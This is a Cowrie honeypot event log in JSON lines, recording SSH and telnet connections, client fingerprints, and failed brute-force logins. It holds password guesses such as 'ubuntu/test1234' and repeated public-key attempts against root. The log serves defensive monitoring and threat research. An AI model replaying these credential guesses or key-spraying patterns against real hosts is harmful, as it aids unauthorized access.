{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:12.736928Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:12.743642Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33572,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c957c0ed719","protocol":"telnet","message":"New connection: 45.58.127.90:33572 (10.17.0.5:23) [session: 9c957c0ed719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:16.993272Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:27.303066Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.9","message":"Connection lost after 36.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:27.529902Z","src_ip":"185.71.233.73","session":"66c96387b11f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:28.772687Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.4","message":"Connection lost after 37.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:29.006183Z","src_ip":"185.71.233.73","session":"58c54bf9c2e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":33750,"dst_ip":"159.203.135.109","dst_port":22,"session":"df74de31b9ad","protocol":"ssh","message":"New connection: 202.125.94.71:33750 (159.203.135.109:22) [session: df74de31b9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:32.642627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:32.647098Z","src_ip":"202.125.94.71","session":"df74de31b9ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:32.910398Z","src_ip":"202.125.94.71","session":"df74de31b9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"linux123","message":"login attempt [user/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:33.995230Z","src_ip":"202.125.94.71","session":"df74de31b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:35.265883Z","src_ip":"202.125.94.71","session":"df74de31b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.33073401451111,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.172810Z","src_ip":"45.58.127.90","session":"3e722035ec8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.97276067733765,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.561927Z","src_ip":"45.58.127.90","session":"6ff872edd63e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.57.43","src_port":36430,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ec5a6214e54","protocol":"ssh","message":"New connection: 68.235.57.43:36430 (10.17.0.5:22) [session: 1ec5a6214e54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.721694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.726795Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.762436Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:47:67:70:06:9c:f5:54:eb:a3:29:e7:15:88:e6:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Z45NLvR5PwYkQ9EmNXr5ANlN6Pd0nZqqw5j7rozzVOBU/M2tC06Uv9+KcKcmzGMrXe7IlGyJYKhZYTe2SYeXTflyKuhPzidJC6M0G1F5YiWVPTnVltVmv2F7ukgMT8TFYfbFfMsACNoRJhjNrZBoZWvLiqLxqhbpv37b8jpt50iik7jQPXTCQz/udEEHcfcIfm2Q6MROvqKkHtjQI0wftQN9Um51kYKhbqkUH6fv1anHlhA6pEST01VfAa/jrXOGDRQoyvErwetxmh4dZcvrugHmQBWM8tbHl6GPe+Ojv2BZc0FCd6q5ILa8TTqatrv11vlZ62/bODZ9PwnCAGzaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:47:67:70:06:9c:f5:54:eb:a3:29:e7:15:88:e6:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.904665Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:47:67:70:06:9c:f5:54:eb:a3:29:e7:15:88:e6:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Z45NLvR5PwYkQ9EmNXr5ANlN6Pd0nZqqw5j7rozzVOBU/M2tC06Uv9+KcKcmzGMrXe7IlGyJYKhZYTe2SYeXTflyKuhPzidJC6M0G1F5YiWVPTnVltVmv2F7ukgMT8TFYfbFfMsACNoRJhjNrZBoZWvLiqLxqhbpv37b8jpt50iik7jQPXTCQz/udEEHcfcIfm2Q6MROvqKkHtjQI0wftQN9Um51kYKhbqkUH6fv1anHlhA6pEST01VfAa/jrXOGDRQoyvErwetxmh4dZcvrugHmQBWM8tbHl6GPe+Ojv2BZc0FCd6q5ILa8TTqatrv11vlZ62/bODZ9PwnCAGzaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.908788Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:8d:65:37:62:43:30:28:6d:35:d7:c7:b6:f2:bb:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxa/IZhEHpQUVGPtBy3ZQBhISShCdTD9YKVitObLXY2rkzKzATsukubmFuXydna7d4yi6/u0C4LsBN4/+IXPWmTmDpVMmB/K0Z8yo+UgD7uhLaiCTv5t3kHEgZY28mBzFGMYk82COmYFAYw5aZ76ITQ1A8T0NuFhhaGOZ5irvzcbhn0OKvgXISxDAeOHVqOQmnB2eaLi789TinYIye/diSu8R9KLNWSDBb9+jh8HsmBSqmPRbNN7e9OPpftnQYYF0o1jLVCXVXHGWNw5QuwKM3tyzgXJDsPNWWL8mRtHYRakKGBSz9xHdScIO+9jdsMaeNuFwdnBgWC4rvqy0DJemT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:8d:65:37:62:43:30:28:6d:35:d7:c7:b6:f2:bb:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.944703Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:8d:65:37:62:43:30:28:6d:35:d7:c7:b6:f2:bb:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxa/IZhEHpQUVGPtBy3ZQBhISShCdTD9YKVitObLXY2rkzKzATsukubmFuXydna7d4yi6/u0C4LsBN4/+IXPWmTmDpVMmB/K0Z8yo+UgD7uhLaiCTv5t3kHEgZY28mBzFGMYk82COmYFAYw5aZ76ITQ1A8T0NuFhhaGOZ5irvzcbhn0OKvgXISxDAeOHVqOQmnB2eaLi789TinYIye/diSu8R9KLNWSDBb9+jh8HsmBSqmPRbNN7e9OPpftnQYYF0o1jLVCXVXHGWNw5QuwKM3tyzgXJDsPNWWL8mRtHYRakKGBSz9xHdScIO+9jdsMaeNuFwdnBgWC4rvqy0DJemT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.948407Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:57:c1:05:8a:88:6e:39:06:62:08:77:e5:02:50:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1rrE538tI9Ra94KuFz/H5JU3icee+8qWOdQxanoDbu1Q5pOpYxwtwGVfbhTf6sFBrlbESUWtEmW04Kpu2zB+Dav4/rQQZ1bEuxe/RoNsZZ9rouRWVWAj7OUfj+k9nnTDg+enZ/Cf1tMK9jMoP7W2hEuU2q80qOAsnxcd/vsofGKvyg/a+wj50epKHUyVaaX1jqcBMICBEOi3uGxIB1UyW4d8A2zq/MrH3AmI7AXz7JkBzbZseoXkJ64zcPwaU20H0Wkck+7fyNxMWtzuf+HI5kTYrK5pgwWw4fXzWKyvkGEFlr9Cxi9dhPxRdVtbcOZ4IN7dIIg3kug2wJrrsgoXRbeeGIsrC5Cu3RgCS2l+R2+Ye8EvtVnIojwPfAoCdX5OrU3kATawm+G37cSlsIn2ESZeF4LKnRz0KYbFb47PibmCpjUwDfiN1gsLCfY44UiWAGhb8+3j8Wvwolvir7rgylxBQNjuc0OmaoAuMS/ZAc3jMCOtF+MiQOrNhs7OBkX0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:57:c1:05:8a:88:6e:39:06:62:08:77:e5:02:50:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.982142Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:57:c1:05:8a:88:6e:39:06:62:08:77:e5:02:50:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1rrE538tI9Ra94KuFz/H5JU3icee+8qWOdQxanoDbu1Q5pOpYxwtwGVfbhTf6sFBrlbESUWtEmW04Kpu2zB+Dav4/rQQZ1bEuxe/RoNsZZ9rouRWVWAj7OUfj+k9nnTDg+enZ/Cf1tMK9jMoP7W2hEuU2q80qOAsnxcd/vsofGKvyg/a+wj50epKHUyVaaX1jqcBMICBEOi3uGxIB1UyW4d8A2zq/MrH3AmI7AXz7JkBzbZseoXkJ64zcPwaU20H0Wkck+7fyNxMWtzuf+HI5kTYrK5pgwWw4fXzWKyvkGEFlr9Cxi9dhPxRdVtbcOZ4IN7dIIg3kug2wJrrsgoXRbeeGIsrC5Cu3RgCS2l+R2+Ye8EvtVnIojwPfAoCdX5OrU3kATawm+G37cSlsIn2ESZeF4LKnRz0KYbFb47PibmCpjUwDfiN1gsLCfY44UiWAGhb8+3j8Wvwolvir7rgylxBQNjuc0OmaoAuMS/ZAc3jMCOtF+MiQOrNhs7OBkX0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:48.985783Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:cb:f3:18:c8:e7:d4:1e:26:75:a0:71:25:0b:1a:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD50yeokBwo+EfhDSHSsEZKbO+horhnkGue79hr8daJJ6oKBOPByIsbaFy4QI0JHK7S3fblaaVUC33/PeGxgkcdPi8azdGlpezj+OzabUDC71ixDpTQFT788wQLhD6Q7iLG5LZp1dvC7FdzC4w3rhS8Kiv7acw1zcfhbZg3JUhYSePOhB153rUXmIyh1urXLnH6RZrW+5TLe9tBUrN7rMmT6B9/z2RCOfNzDw5+omvxmCW3usM1s3rdD2ZLskVKF9Jt9WwB+tS2aItgm6dAkDdyDvzZcPS6mnXWgtcozBDOGLSDj2tAhNN/o8Jrtv+zXIB/mx2L2YO9OX09VSTyPJVCGv5UD4yAIci+CzQixqU/DyZ8k8ce9fl3mFOeDrqqlJ1TIPpBcxjURVFyDaeGn2r6YYlRuLjZYH5EQVJsqchje2+jEG3pL+hf20K/IJyunslNNi5GHDXXaKSBRmEINI/mviA8Dn9akSGo/w5wedlDJTWBpcPmBB5y1dAOchRkg0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:cb:f3:18:c8:e7:d4:1e:26:75:a0:71:25:0b:1a:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:49.018967Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:cb:f3:18:c8:e7:d4:1e:26:75:a0:71:25:0b:1a:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDD50yeokBwo+EfhDSHSsEZKbO+horhnkGue79hr8daJJ6oKBOPByIsbaFy4QI0JHK7S3fblaaVUC33/PeGxgkcdPi8azdGlpezj+OzabUDC71ixDpTQFT788wQLhD6Q7iLG5LZp1dvC7FdzC4w3rhS8Kiv7acw1zcfhbZg3JUhYSePOhB153rUXmIyh1urXLnH6RZrW+5TLe9tBUrN7rMmT6B9/z2RCOfNzDw5+omvxmCW3usM1s3rdD2ZLskVKF9Jt9WwB+tS2aItgm6dAkDdyDvzZcPS6mnXWgtcozBDOGLSDj2tAhNN/o8Jrtv+zXIB/mx2L2YO9OX09VSTyPJVCGv5UD4yAIci+CzQixqU/DyZ8k8ce9fl3mFOeDrqqlJ1TIPpBcxjURVFyDaeGn2r6YYlRuLjZYH5EQVJsqchje2+jEG3pL+hf20K/IJyunslNNi5GHDXXaKSBRmEINI/mviA8Dn9akSGo/w5wedlDJTWBpcPmBB5y1dAOchRkg0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:49.022283Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:0c:b5:e8:e5:a6:3b:0d:6c:99:f0:d7:88:43:4e:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8aCVLMdbXDwXjX9EkSEE4zZzaG9Eyedz1ZCeKHAYKTie97nruItXJSZ4VSCAt6RJ9aFVDteqN33cJGIiteRwTcpPOLJdYMBTZZDi8ZpsjmAocvKhkmuGKtqZsFtE9cujk3FYtMHsZCJmQgah22HQNNNgMQCjVrcJMitH4JrtudZnGEUFTvfo+TqFvm8lMImmvLz2PVwJgCZQCax4Rl8uDEDLp62369wjk72DVB+vgFu09bhAOlqi4SzjgYfXikWRohMUAcA9ZOcxbfrQK2DFllUVXYJs9Rz+BVAyfhVAI7nm5scEj3cNBeGHx6/QhgxKeznIn7tLghpCQntoXVTKyQwpiP8r59r/FSLxfAgWnlV2KvDzKvqUs1Hne4/XlUCEsck1DUBFqQdz7PBSRdbEGRvsIY3EPO2XGStmJE7Fdm6t8kI+uIhxbnPRix6MZJnEaBr6mOkcYkvQVk3gGooWZNgsV9fcaktcJJKbkmrKAd7751KAUih28BH9vHIl5sms=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:0c:b5:e8:e5:a6:3b:0d:6c:99:f0:d7:88:43:4e:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:49.054001Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:0c:b5:e8:e5:a6:3b:0d:6c:99:f0:d7:88:43:4e:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8aCVLMdbXDwXjX9EkSEE4zZzaG9Eyedz1ZCeKHAYKTie97nruItXJSZ4VSCAt6RJ9aFVDteqN33cJGIiteRwTcpPOLJdYMBTZZDi8ZpsjmAocvKhkmuGKtqZsFtE9cujk3FYtMHsZCJmQgah22HQNNNgMQCjVrcJMitH4JrtudZnGEUFTvfo+TqFvm8lMImmvLz2PVwJgCZQCax4Rl8uDEDLp62369wjk72DVB+vgFu09bhAOlqi4SzjgYfXikWRohMUAcA9ZOcxbfrQK2DFllUVXYJs9Rz+BVAyfhVAI7nm5scEj3cNBeGHx6/QhgxKeznIn7tLghpCQntoXVTKyQwpiP8r59r/FSLxfAgWnlV2KvDzKvqUs1Hne4/XlUCEsck1DUBFqQdz7PBSRdbEGRvsIY3EPO2XGStmJE7Fdm6t8kI+uIhxbnPRix6MZJnEaBr6mOkcYkvQVk3gGooWZNgsV9fcaktcJJKbkmrKAd7751KAUih28BH9vHIl5sms=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:49.057591Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:29:49.091414Z","src_ip":"68.235.57.43","session":"1ec5a6214e54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.7948853969574,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:00.788038Z","src_ip":"45.58.127.90","session":"9c957c0ed719","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":49592,"dst_ip":"159.203.135.109","dst_port":22,"session":"760c72f125cf","protocol":"ssh","message":"New connection: 103.88.76.27:49592 (159.203.135.109:22) [session: 760c72f125cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:00.844337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:00.849602Z","src_ip":"103.88.76.27","session":"760c72f125cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:01.083764Z","src_ip":"103.88.76.27","session":"760c72f125cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test1234","message":"login attempt [ubuntu/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:02.036800Z","src_ip":"103.88.76.27","session":"760c72f125cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:03.275175Z","src_ip":"103.88.76.27","session":"760c72f125cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"24f8fcbcf5f7","protocol":"ssh","message":"New connection: 202.125.94.71:54928 (159.203.135.109:22) [session: 24f8fcbcf5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:30.706537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:30:30.711622Z","src_ip":"202.125.94.71","session":"24f8fcbcf5f7","protocol":"ssh"}
